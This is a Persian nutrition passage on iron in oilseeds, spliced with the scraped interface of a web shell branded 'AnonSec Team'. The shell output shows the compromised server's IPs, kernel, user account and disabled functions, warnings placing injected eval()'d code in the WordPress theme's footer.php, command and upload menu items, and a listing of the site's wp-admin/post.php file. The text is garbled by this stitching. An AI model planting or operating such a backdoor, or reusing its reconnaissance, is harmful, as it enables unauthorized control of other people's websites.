انواع دانه های روغنی حاوی آهن

یکی از ویژگی های مثبت و قابل توجه برای انواع دانه های روغنی این است که حاوی مقادیر قابل توجهی آهن می باشد. آیا همه دانه های روغنی دارای آهن می باشند؟
به طور کلی برخی از ویتامین ها و مواد معدنی در بین عوام از اهمیت بیشتری برخوردار می شوند، شاید در بین مردن کسی پتاسیم و منیزیم را نشناسد و نداند این مواد چه تاثیری در بدن خواهند گذاشت، این در حالی است عموم افراد آهن و اثرات کمبود آن در بدن را به خوبی می شناسند.
شاید دلیل این موارد توجه بیش از حد به این گونه مواد می باشد، دانه های روغنی همواره به عنوان یکی از دسته های مهم مواد غذایی مورد توجه قرار می گیرند، این دانه ها که ترکیب اصلی آن ها چربی غیر اشباع شده می باشد، برای تامین بسیاری از نیاز های بدنی پیشنهاد می شوند.

انواع دانه های روغنی

دانه های روغنی و آهن موجود در آن

آهن یکی از مواد معدنی می باشد که برای رشد ذهنی افراد بسیار مفید است، همچنین مصرف آهن در جلوگیری از کم خونی نیز موثر می باشد، به طور کلی کمبود آهن باعث به وجود آمدن مشکلات عدیده ای خواهد شد، به همین دلیل است که پزشکان برای کسانی که کمبود آهن داشته باشند، داروی شیمیایی آن را تجویز می نمایند.
بسیاری از منابع از انواع دانه های روغنی به عنوان منبعی از آهن نام برده اند، دانه های روغنی همچون پسته، فندق، گردو و کنجد به راحتی می توانند آهن مورد نیاز بدن را فراهم کنند، ضمن این که این دانه های روغنی با داشتن اسید های چرب ضروری امگا در تقویت سیستم مغز و قلب و عروق کارساز خواهند بود.

ÿØÿà JFIF ÿþ; AnonSec Team
AnonSec Team
Server IP : 37.187.155.34  /  Your IP : 18.116.45.122
Web Server : LiteSpeed
System : Linux ps4.arad360.com 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64
User : oilse103 ( 1565)
PHP Version : 7.4.33
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/home/oilse103/:/tmp:/var/tmp:/opt/alt/php74/usr/share/pear/:/dev/urandom:/usr/local/lib/php/:/usr/local/php74/lib/php/) in /home/oilse103/domains/oilseeda.ir/public_html/wp-content/themes/hello-elementor/footer.php(1) : eval()'d code on line 329
OFF  |  Perl :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/home/oilse103/:/tmp:/var/tmp:/opt/alt/php74/usr/share/pear/:/dev/urandom:/usr/local/lib/php/:/usr/local/php74/lib/php/) in /home/oilse103/domains/oilseeda.ir/public_html/wp-content/themes/hello-elementor/footer.php(1) : eval()'d code on line 335
OFF  |  Python :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/home/oilse103/:/tmp:/var/tmp:/opt/alt/php74/usr/share/pear/:/dev/urandom:/usr/local/lib/php/:/usr/local/php74/lib/php/) in /home/oilse103/domains/oilseeda.ir/public_html/wp-content/themes/hello-elementor/footer.php(1) : eval()'d code on line 341
OFF
Directory (0755) :  /home/oilse103/domains/oilseeda.ir/public_html/wp-admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/oilse103/domains/oilseeda.ir/public_html/wp-admin/post.php
<?php
/**
 * Edit post administration panel.
 *
 * Manage Post actions: post, edit, delete, etc.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

$parent_file  = 'edit.php';
$submenu_file = 'edit.php';

wp_reset_vars( array( 'action' ) );

if ( isset( $_GET['post'] ) && isset( $_POST['post_ID'] ) && (int) $_GET['post'] !== (int) $_POST['post_ID'] ) {
	wp_die( __( 'A post ID mismatch has been detected.' ), __( 'Sorry, you are not allowed to edit this item.' ), 400 );
} elseif ( isset( $_GET['post'] ) ) {
	$post_id = (int) $_GET['post'];
} elseif ( isset( $_POST['post_ID'] ) ) {
	$post_id = (int) $_POST['post_ID'];
} else {
	$post_id = 0;
}
$post_ID = $post_id;

/**
 * @global string  $post_type
 * @global object  $post_type_object
 * @global WP_Post $post             Global post object.
 */
global $post_type, $post_type_object, $post;

if ( $post_id ) {
	$post = get_post( $post_id );
}

if ( $post ) {
	$post_type        = $post->post_type;
	$post_type_object = get_post_type_object( $post_type );
}

if ( isset( $_POST['post_type'] ) && $post && $post_type !== $_POST['post_type'] ) {
	wp_die( __( 'A post type mismatch has been detected.' ), __( 'Sorry, you are not allowed to edit this item.' ), 400 );
}

if ( isset( $_POST['deletepost'] ) ) {
	$action = 'delete';
} elseif ( isset( $_POST['wp-preview'] ) && 'dopreview' === $_POST['wp-preview'] ) {
	$action = 'preview';
}

$sendback = wp_get_referer();
if ( ! $sendback ||
	str_contains( $sendback, 'post.php' ) ||
	str_contains( $sendback, 'post-new.php' ) ) {
	if ( 'attachment' === $post_type ) {
		$sendback = admin_url( 'upload.php' );
	} else {
		$sendback = admin_url( 'edit.php' );
		if ( ! empty( $post_type ) ) {
			$sendback = add_query_arg( 'post_type', $post_type, $sendback );
		}
	}
} else {
	$sendback = remove_query_arg( array( 'trashed', 'untrashed', 'deleted', 'ids' ), $sendback );
}

switch ( $action ) {
	case 'post-quickdraft-save':
		// Check nonce and capabilities.
		$nonce     = $_REQUEST['_wpnonce'];
		$error_msg = false;

		// For output of the Quick Draft dashboard widget.
		require_once ABSPATH . 'wp-admin/includes/dashboard.php';

		if ( ! wp_verify_nonce( $nonce, 'add-post' ) ) {
			$error_msg = __( 'Unable to submit this form, please refresh and try again.' );
		}

		if ( ! current_user_can( get_post_type_object( 'post' )->cap->create_posts ) ) {
			exit;
		}

		if ( $error_msg ) {
			return wp_dashboard_quick_press( $error_msg );
		}

		$post = get_post( $_REQUEST['post_ID'] );
		check_admin_referer( 'add-' . $post->post_type );

		$_POST['comment_status'] = get_default_comment_status( $post->post_type );
		$_POST['ping_status']    = get_default_comment_status( $post->post_type, 'pingback' );

		// Wrap Quick Draft content in the Paragraph block.
		if ( ! str_contains( $_POST['content'], '<!-- wp:paragraph -->' ) ) {
			$_POST['content'] = sprintf(
				'<!-- wp:paragraph -->%s<!-- /wp:paragraph -->',
				str_replace( array( "\r\n", "\r", "\n" ), '<br />', $_POST['content'] )
			);
		}

		edit_post();
		wp_dashboard_quick_press();
		exit;

	case 'postajaxpost':
	case 'post':
		check_admin_referer( 'add-' . $post_type );
		$post_id = 'postajaxpost' === $action ? edit_post() : write_post();
		redirect_post( $post_id );
		exit;

	case 'edit':
		$editing = true;

		if ( empty( $post_id ) ) {
			wp_redirect( admin_url( 'post.php' ) );
			exit;
		}

		if ( ! $post ) {
			wp_die( __( 'You attempted to edit an item that does not exist. Perhaps it was deleted?' ) );
		}

		if ( ! $post_type_object ) {
			wp_die( __( 'Invalid post type.' ) );
		}

		if ( ! in_array( $typenow, get_post_types( array( 'show_ui' => true ) ), true ) ) {
			wp_die( __( 'Sorry, you are not allowed to edit posts in this post type.' ) );
		}

		if ( ! current_user_can( 'edit_post', $post_id ) ) {
			wp_die( __( 'Sorry, you are not allowed to edit this item.' ) );
		}

		if ( 'trash' === $post->post_status ) {
			wp_die( __( 'You cannot edit this item because it is in the Trash. Please restore it and try again.' ) );
		}

		if ( ! empty( $_GET['get-post-lock'] ) ) {
			check_admin_referer( 'lock-post_' . $post_id );
			wp_set_post_lock( $post_id );
			wp_redirect( get_edit_post_link( $post_id, 'url' ) );
			exit;
		}

		$post_type = $post->post_type;
		if ( 'post' === $post_type ) {
			$parent_file   = 'edit.php';
			$submenu_file  = 'edit.php';
			$post_new_file = 'post-new.php';
		} elseif ( 'attachment' === $post_type ) {
			$parent_file   = 'upload.php';
			$submenu_file  = 'upload.php';
			$post_new_file = 'media-new.php';
		} else {
			if ( isset( $post_type_object ) && $post_type_object->show_in_menu && true !== $post_type_object->show_in_menu ) {
				$parent_file = $post_type_object->show_in_menu;
			} else {
				$parent_file = "edit.php?post_type=$post_type";
			}
			$submenu_file  = "edit.php?post_type=$post_type";
			$post_new_file = "post-new.php?post_type=$post_type";
		}

		$title = $post_type_object->labels->edit_item;

		/**
		 * Allows replacement of the editor.
		 *
		 * @since 4.9.0
		 *
		 * @param bool    $replace Whether to replace the editor. Default false.
		 * @param WP_Post $post    Post object.
		 */
		if ( true === apply_filters( 'replace_editor', false, $post ) ) {
			break;
		}

		if ( use_block_editor_for_post( $post ) ) {
			require ABSPATH . 'wp-admin/edit-form-blocks.php';
			break;
		}

		if ( ! wp_check_post_lock( $post->ID ) ) {
			$active_post_lock = wp_set_post_lock( $post->ID );

			if ( 'attachment' !== $post_type ) {
				wp_enqueue_script( 'autosave' );
			}
		}

		$post = get_post( $post_id, OBJECT, 'edit' );

		if ( post_type_supports( $post_type, 'comments' ) ) {
			wp_enqueue_script( 'admin-comments' );
			enqueue_comment_hotkeys_js();
		}

		require ABSPATH . 'wp-admin/edit-form-advanced.php';

		break;

	case 'editattachment':
		check_admin_referer( 'update-post_' . $post_id );

		// Don't let these be changed.
		unset( $_POST['guid'] );
		$_POST['post_type'] = 'attachment';

		// Update the thumbnail filename.
		$newmeta          = wp_get_attachment_metadata( $post_id, true );
		$newmeta['thumb'] = wp_basename( $_POST['thumb'] );

		wp_update_attachment_metadata( $post_id, $newmeta );

		// Intentional fall-through to trigger the edit_post() call.
	case 'editpost':
		check_admin_referer( 'update-post_' . $post_id );

		$post_id = edit_post();

		// Session cookie flag that the post was saved.
		if ( isset( $_COOKIE['wp-saving-post'] ) && $_COOKIE['wp-saving-post'] === $post_id . '-check' ) {
			setcookie( 'wp-saving-post', $post_id . '-saved', time() + DAY_IN_SECONDS, ADMIN_COOKIE_PATH, COOKIE_DOMAIN, is_ssl() );
		}

		redirect_post( $post_id ); // Send user on their way while we keep working.

		exit;

	case 'trash':
		check_admin_referer( 'trash-post_' . $post_id );

		if ( ! $post ) {
			wp_die( __( 'The item you are trying to move to the Trash no longer exists.' ) );
		}

		if ( ! $post_type_object ) {
			wp_die( __( 'Invalid post type.' ) );
		}

		if ( ! current_user_can( 'delete_post', $post_id ) ) {
			wp_die( __( 'Sorry, you are not allowed to move this item to the Trash.' ) );
		}

		$user_id = wp_check_post_lock( $post_id );
		if ( $user_id ) {
			$user = get_userdata( $user_id );
			/* translators: %s: User's display name. */
			wp_die( sprintf( __( 'You cannot move this item to the Trash. %s is currently editing.' ), $user->display_name ) );
		}

		if ( ! wp_trash_post( $post_id ) ) {
			wp_die( __( 'Error in moving the item to Trash.' ) );
		}

		wp_redirect(
			add_query_arg(
				array(
					'trashed' => 1,
					'ids'     => $post_id,
				),
				$sendback
			)
		);
		exit;

	case 'untrash':
		check_admin_referer( 'untrash-post_' . $post_id );

		if ( ! $post ) {
			wp_die( __( 'The item you are trying to restore from the Trash no longer exists.' ) );
		}

		if ( ! $post_type_object ) {
			wp_die( __( 'Invalid post type.' ) );
		}

		if ( ! current_user_can( 'delete_post', $post_id ) ) {
			wp_die( __( 'Sorry, you are not allowed to restore this item from the Trash.' ) );
		}

		if ( ! wp_untrash_post( $post_id ) ) {
			wp_die( __( 'Error in restoring the item from Trash.' ) );
		}

		$sendback = add_query_arg(
			array(
				'untrashed' => 1,
				'ids'       => $post_id,
			),
			$sendback
		);
		wp_redirect( $sendback );
		exit;

	case 'delete':
		check_admin_referer( 'delete-post_' . $post_id );

		if ( ! $post ) {
			wp_die( __( 'This item has already been deleted.' ) );
		}

		if ( ! $post_type_object ) {
			wp_die( __( 'Invalid post type.' ) );
		}

		if ( ! current_user_can( 'delete_post', $post_id ) ) {
			wp_die( __( 'Sorry, you are not allowed to delete this item.' ) );
		}

		if ( 'attachment' === $post->post_type ) {
			$force = ( ! MEDIA_TRASH );
			if ( ! wp_delete_attachment( $post_id, $force ) ) {
				wp_die( __( 'Error in deleting the attachment.' ) );
			}
		} else {
			if ( ! wp_delete_post( $post_id, true ) ) {
				wp_die( __( 'Error in deleting the item.' ) );
			}
		}

		wp_redirect( add_query_arg( 'deleted', 1, $sendback ) );
		exit;

	case 'preview':
		check_admin_referer( 'update-post_' . $post_id );

		$url = post_preview();

		wp_redirect( $url );
		exit;

	case 'toggle-custom-fields':
		check_admin_referer( 'toggle-custom-fields', 'toggle-custom-fields-nonce' );

		$current_user_id = get_current_user_id();
		if ( $current_user_id ) {
			$enable_custom_fields = (bool) get_user_meta( $current_user_id, 'enable_custom_fields', true );
			update_user_meta( $current_user_id, 'enable_custom_fields', ! $enable_custom_fields );
		}

		wp_safe_redirect( wp_get_referer() );
		exit;

	default:
		/**
		 * Fires for a given custom post action request.
		 *
		 * The dynamic portion of the hook name, `$action`, refers to the custom post action.
		 *
		 * @since 4.6.0
		 *
		 * @param int $post_id Post ID sent with the request.
		 */
		do_action( "post_action_{$action}", $post_id );

		wp_redirect( admin_url( 'edit.php' ) );
		exit;
} // End switch.

require_once ABSPATH . 'wp-admin/admin-footer.php';

AnonSec - 2021